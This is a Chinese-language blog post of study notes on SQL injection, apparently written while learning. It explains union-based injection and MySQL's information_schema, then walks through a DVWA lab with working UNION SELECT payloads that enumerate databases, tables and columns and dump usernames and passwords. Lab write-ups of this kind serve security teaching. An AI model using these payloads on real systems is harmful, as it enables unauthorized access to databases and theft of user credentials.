美文网首页
SQL注入笔记

SQL注入笔记

作者: _mq | 来源:发表于2019-08-25 15:53 被阅读0次

    SQL注入是由于程序员过于相信用户输入的数据所产生的。

    假设后台查询语句如下:

    SELECT USERNAME,USERID FROM USERS WHERE USERS_ID =

    而user_id就是用户所输入的地方,如果id存在,则返回表里的全部列,如果不存在则返回空。

    如果输入1,语句如下:

    SELECT USERNAME,USERID FROM USERS WHERE USERS_ID = 1

    这样是没问题的,但是如果是恶意用户输入SQL语句就会导致SQL注入

    如果输入1 AND 0 UNION SELECT PASSWORD,USERNAME FROM USERS,查询语句就会变为:

    SELECT USERNAME,USERID FROM USERS WHERE USERS_ID = 1 AND 0 UNION SELECT PASSWORD,USERNAME FROM USERS

    由于AND 0结果永远是false,所以第一个查询返回的是一个空结果。

    然后union select password,username from users 查询用户的password和username。

    这个时候就获得了用户密码和用户名。

    那么问题来了,后台查询语句是我们并不知道的,那么我如何知道有password字段和users表呢。

    [2] information_schema库

    如果使用MYSQL数据库,在数据中会自动生成一个information_shema库。

    这个库就存放着所有库的库名,所有表的表名。

    简单的查看一些这个库里面的表。

    不过不需要记住那么多张表,只需要记住(schemata,tables,columns)这三张表就行。


    schemata表:

    查看所有schemata里面的schema_name,这就是全部数据库名。


    tables表:

    其中table_name字段存放了所有表名,table_schema字段存放了这张表的数据库名。


    columns表:

    其中table_name是表名,column_name是字段名:



    [3] 用DVWA靶场进行注入

    1 先提交正常的数据进行查询

    2 加上单引号查询

    报错,不能有3个单引号(因为mysql中的’ 都必须是成对的)

    加上两个单引号查询(返回正常)

    3 使用order by 判断有多少个字段

    order by 3报错 oreder by 2正常(说明查询语句是2个字段)

    4 使用联合查询

    可以看到联合查询结果被显示出来

    5 查询全部数据库名

    database()函数返回当前选择的数据库名

    1' union select schema_name,1 from information_schema.schemata # 获取全部数据库名

    1' union select database(),2 # 获取当前选择数据库名

    全部数据库返回结果

    当前数据库返回结果

    6 查询当前数据库下所有表名,当前数据库是(dvwa)

    tables表里面的 table_name是全部表名 使用where限制table_schema = 当前数据库

    这样就可以返回当前数据的全部数据了

    1' union select table_name,2 from information_schema.tables where table_schema = database() #

    7 查询users表下的全部字段名

    1' union select column_name,2 from information_schema.columns where table_name = 'users' #

    9 查询用户名和用户密码

    上面已经得到了表为(users),字段有(password,user)

    1' union select password,username from users #

    相关文章

      网友评论

          本文标题:SQL注入笔记

          本文链接:https://www.haomeiwen.com/subject/iaahectx.html